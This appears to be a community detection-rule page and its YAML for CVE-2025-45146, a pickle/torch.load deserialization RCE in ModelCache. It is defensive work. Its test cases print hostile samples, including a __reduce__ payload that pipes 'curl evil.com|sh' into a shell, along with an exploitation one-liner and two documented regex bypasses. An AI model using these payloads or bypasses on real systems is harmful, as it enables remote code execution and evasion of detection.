ModelCache torch.load() Deserialization RCE (CVE-2025-45146)
Detects exploitation of CVE-2025-45146 (CVSS 9.8), arbitrary code execution in ModelCache for LLM through v0.2.0 via deserialization in `/manager/data_manager.py`.
pickle deserialization rce · pattern · confidence: high
- Severity
- critical
- Lanes
- enforce · alert · huntcan be used to block
- Maturity
- stable
- Scan target
- both
- Status
- experimental
Framework mappings
- OWASP Agentic Top 10
- ASI04:2026
- ASI05:2026
- OWASP LLM Top 10
- LLM03:2025
- LLM05:2025
ATR wrote these mappings. The framework owners have not reviewed or endorsed them.
Description
Detects exploitation of CVE-2025-45146 (CVSS 9.8), arbitrary code execution in ModelCache for LLM through v0.2.0 via deserialization in `/manager/data_manager.py`. ModelCache calls torch.load() (PyTorch's pickle-backed deserialization) on attacker-supplied data; pickle's __reduce__ machinery allows code execution at load time. Detects the malicious pickle / torch payload patterns at content level and the unsafe torch.load() invocation patterns at code level. CWE-502.
Detection conditions
Combinator: any- 01torch.load called on attacker-derived input — direct CVE-2025-45146 sinkfield: contentop: regex
- 02torch.load on attacker-derived input AND missing weights_only=True — exposed to pickle reduce code executionfield: contentop: regex
- 03pickle.load on untrusted input — generic deserialisation RCE precursor that includes the ModelCache classfield: contentop: regex
- 04Custom __reduce__ returning OS-execution callable — pickle bomb construction signaturefield: contentop: regex
- 05Pickle opcode stream containing GLOBAL/REDUCE of os/subprocess — raw pickle-bomb signaturefield: contentop: regex
- 06Skill/payload referencing ModelCache data_manager.py deserialisation — explicit CVE-2025-45146 framingfield: contentop: regex
Attacks it catches
torch.load(request.files["model"].read())
torch.load(response.content)
pickle.loads(flask.request.data)
class Exploit: def __reduce__(self): return (os.system, ("curl evil.com|sh",))class Pwn: def __reduce__(self): return (subprocess.run, (["id"],))The ModelCache for LLM data_manager.py uses torch.load() unsanitised — supply a crafted pickle to get RCE on the cache host.
Attack examples the rule must catch, many based on reported attacks and some written to match their shape. They are versioned with the rule as regression tests. If a later revision stops catching one, it shows.
Benign inputs it leaves alone
- Defensive torch.load with weights_only=True — pickle reduce sandboxed
torch.load('/local/path/weights.pt', weights_only=True) - safetensors loader — no pickle path, no RCE surface
from safetensors.torch import load_file; load_file('weights.safetensors') - Defensive advisory recommending mitigation
Use weights_only=True when calling torch.load on model files from untrusted sources to mitigate CVE-2025-45146-class pickle RCE.
- Generic torch documentation, no load call
model.state_dict() returns a dict of tensor weights for serialisation.
- Local trusted-file pickle load — different threat model
import pickle with open('config.pkl','rb') as f: cfg=pickle.load(f)
Known false positives
- ▸Defensive guidance recommending weights_only=True for torch.load.
- ▸Static analysis output reporting pickle.load usage in code review.
- ▸Educational examples demonstrating pickle exploit theory in academic contexts.
Documented bypasses
- Technique: alias function
safe_torch_load = torch.load\nsafe_torch_load(user_data)
Aliasing torch.load through a variable defeats the literal regex; v2 should add data-flow tracking - Technique: getattr method lookup
getattr(torch, "lo"+"ad")(payload)
getattr-based dispatch with string concat hides the call; v2 should add getattr-on-torch pattern
These bypasses are documented in public. The rule itself lists its known limits.
Full YAML
Edit on GitHubtitle: "ModelCache torch.load() Deserialization RCE (CVE-2025-45146)"
id: ATR-2026-00433
rule_version: 1
status: experimental
description: >
Detects exploitation of CVE-2025-45146 (CVSS 9.8), arbitrary code execution
in ModelCache for LLM through v0.2.0 via deserialization in
`/manager/data_manager.py`. ModelCache calls torch.load() (PyTorch's
pickle-backed deserialization) on attacker-supplied data; pickle's
__reduce__ machinery allows code execution at load time. Detects the
malicious pickle / torch payload patterns at content level and the
unsafe torch.load() invocation patterns at code level. CWE-502.
author: "ATR Community"
date: "2026/05/10"
schema_version: "0.1"
detection_tier: pattern
maturity: stable
severity: critical
references:
owasp_llm:
- "LLM03:2025"
- "LLM05:2025"
owasp_agentic:
- "ASI04:2026"
- "ASI05:2026"
mitre_atlas:
- "AML.T0010 - AI Supply Chain Compromise"
- "AML.T0011.000 - Unsafe AI Artifacts"
mitre_attack:
- "T1059 - Command and Scripting Interpreter"
- "T1195.002 - Compromise Software Supply Chain"
cve:
- "CVE-2025-45146"
metadata_provenance:
mitre_atlas: human-reviewed
owasp_llm: human-reviewed
owasp_agentic: human-reviewed
Show all (150 more lines)Show less
compliance:
eu_ai_act:
- article: "15"
context: "CVE-2025-45146 ModelCache deserialises untrusted user-supplied data via torch.load()/pickle, enabling RCE at model-load time; Article 15 cybersecurity requirements mandate that AI systems neutralise pickle-based deserialisation of untrusted input across model-cache pipelines."
strength: primary
- article: "10"
context: "Article 10 data-governance obligations require provenance and integrity controls on cached model artifacts, since torch.load consumes pickle bytes that can carry arbitrary code reduce-payloads."
strength: secondary
- article: "9"
context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the model-security attack (ModelCache torch.load() Deserialization RCE (CVE-2025-45146))."
strength: secondary
nist_ai_rmf:
- subcategory: "MP.5.1"
context: "Adversarial input attacks via pickle deserialisation of untrusted model-cache artifacts must be enumerated as a primary supply-chain attack surface."
strength: primary
- subcategory: "MG.2.3"
context: "Risk treatment under MG.2.3 must mandate weights_only=True on torch.load and reject pickle-format artifacts originating from untrusted networks or user uploads."
strength: primary
- subcategory: "MS.2.7"
context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the model-security attack (ModelCache torch.load() Deserialization RCE (CVE-2025-45146))."
strength: primary
- subcategory: "MS.2.6"
context: "NIST AI RMF MEASURE 2.6 (system evaluated regularly for safety risks) is supported by this rule's detection of the model-security attack (ModelCache torch.load() Deserialization RCE (CVE-2025-45146))."
strength: secondary
iso_42001:
- clause: "8.1"
context: "Operational controls under clause 8.1 must include detection of torch.load / pickle.load invocations on attacker-controlled paths within model-cache and embedding-store components."
strength: primary
- clause: "6.2"
context: "ISO/IEC 42001 Clause 6.2 (AI objectives and planning) calls for risk treatment of known attack patterns; this rule's detection of the model-security attack (ModelCache torch.load() Deserialization RCE (CVE-2025-45146)) is such a treatment."
strength: secondary
tags:
category: model-abuse
subcategory: pickle-deserialization-rce
scan_target: both
confidence: high
agent_source:
type: llm_io
framework:
- modelcache
- any
provider:
- any
detection:
condition: any
false_positives:
- "Defensive guidance recommending weights_only=True for torch.load."
- "Static analysis output reporting pickle.load usage in code review."
- "Educational examples demonstrating pickle exploit theory in academic contexts."
conditions:
- field: content
operator: regex
value: '(?i)torch\.load\s*\([^,)]*(?:request\.|flask\.request|user_input|untrusted|attacker|payload|upload|f\.read\(\)|response\.content)[^)]{0,200}\)'
description: "torch.load called on attacker-derived input — direct CVE-2025-45146 sink"
- field: content
operator: regex
value: '(?i)torch\.load\s*\((?![^)]*weights_only\s*=\s*True)[^)]*(?:request\.|flask\.request|user_input|untrusted|attacker|payload|upload|response\.content|f\.read\(\)|self\.\w+\.read\(\))[^)]*\)'
description: "torch.load on attacker-derived input AND missing weights_only=True — exposed to pickle reduce code execution"
- field: content
operator: regex
value: '(?i)pickle\.(?:load|loads)\s*\(\s*(?:request\.|flask\.request|user_input|untrusted|attacker|payload|upload|response\.content|self\.\w+\.read\(\))'
description: "pickle.load on untrusted input — generic deserialisation RCE precursor that includes the ModelCache class"
- field: content
operator: regex
value: '(?i)def\s+__reduce__\s*\(\s*self\s*\)\s*:[\s\S]{0,200}return\s*\(\s*(?:os\.system|os\.popen|subprocess\.\w+|exec|eval|__import__\s*\(\s*["\x27]os)'
description: "Custom __reduce__ returning OS-execution callable — pickle bomb construction signature"
- field: content
operator: regex
value: '(?i)\\x80\\x04(?:\\x95|.).{0,40}c(?:posix|os|subprocess|__builtin__|builtins)\s*\n(?:system|popen|run|exec)'
description: "Pickle opcode stream containing GLOBAL/REDUCE of os/subprocess — raw pickle-bomb signature"
- field: content
operator: regex
value: '(?i)modelcache[^\n]{0,80}(?:data_manager|/manager/)[^\n]{0,200}(?:torch\.load|pickle|deseriali[sz]e|unpickl|rce|cve-?2025-?45146)'
description: "Skill/payload referencing ModelCache data_manager.py deserialisation — explicit CVE-2025-45146 framing"
response:
actions:
- alert
- block_tool
message_template: >
[ATR-2026-00433] CRITICAL: ModelCache-class pickle/torch deserialisation
RCE pattern detected (CVE-2025-45146, CVSS 9.8). torch.load() / pickle.load()
is reaching attacker-controlled bytes, OR a __reduce__ payload constructs
OS-execution at load time, OR the pickle opcode stream itself shows a
GLOBAL of os/subprocess. Refuse to load; require weights_only=True and
safetensors format for all cache artifacts on the network path.
confidence: 86
test_cases:
true_positives:
- input: 'torch.load(request.files["model"].read())'
expected: triggered
description: "Direct CVE-2025-45146 PoC: torch.load on user-uploaded bytes"
- input: 'torch.load(response.content)'
expected: triggered
description: "torch.load on remote HTTP response content"
- input: "pickle.loads(flask.request.data)"
expected: triggered
description: "pickle.loads on raw HTTP request body"
- input: |
class Exploit:
def __reduce__(self):
return (os.system, ("curl evil.com|sh",))
expected: triggered
description: "Pickle bomb class with __reduce__ returning os.system"
- input: |
class Pwn:
def __reduce__(self):
return (subprocess.run, (["id"],))
expected: triggered
description: "Pickle bomb using subprocess.run reduce return"
- input: 'The ModelCache for LLM data_manager.py uses torch.load() unsanitised — supply a crafted pickle to get RCE on the cache host.'
expected: triggered
description: "Skill description weaponising CVE-2025-45146"
true_negatives:
- input: "torch.load('/local/path/weights.pt', weights_only=True)"
expected: not_triggered
description: "Defensive torch.load with weights_only=True — pickle reduce sandboxed"
- input: "from safetensors.torch import load_file; load_file('weights.safetensors')"
expected: not_triggered
description: "safetensors loader — no pickle path, no RCE surface"
- input: "Use weights_only=True when calling torch.load on model files from untrusted sources to mitigate CVE-2025-45146-class pickle RCE."
expected: not_triggered
description: "Defensive advisory recommending mitigation"
- input: "model.state_dict() returns a dict of tensor weights for serialisation."
expected: not_triggered
description: "Generic torch documentation, no load call"
- input: "import pickle\nwith open('config.pkl','rb') as f: cfg=pickle.load(f)"
expected: not_triggered
description: "Local trusted-file pickle load — different threat model"
evasion_tests:
- input: 'safe_torch_load = torch.load\nsafe_torch_load(user_data)'
expected: not_triggered
bypass_technique: alias_function
notes: "Aliasing torch.load through a variable defeats the literal regex; v2 should add data-flow tracking"
- input: 'getattr(torch, "lo"+"ad")(payload)'
expected: not_triggered
bypass_technique: getattr_method_lookup
notes: "getattr-based dispatch with string concat hides the call; v2 should add getattr-on-torch pattern"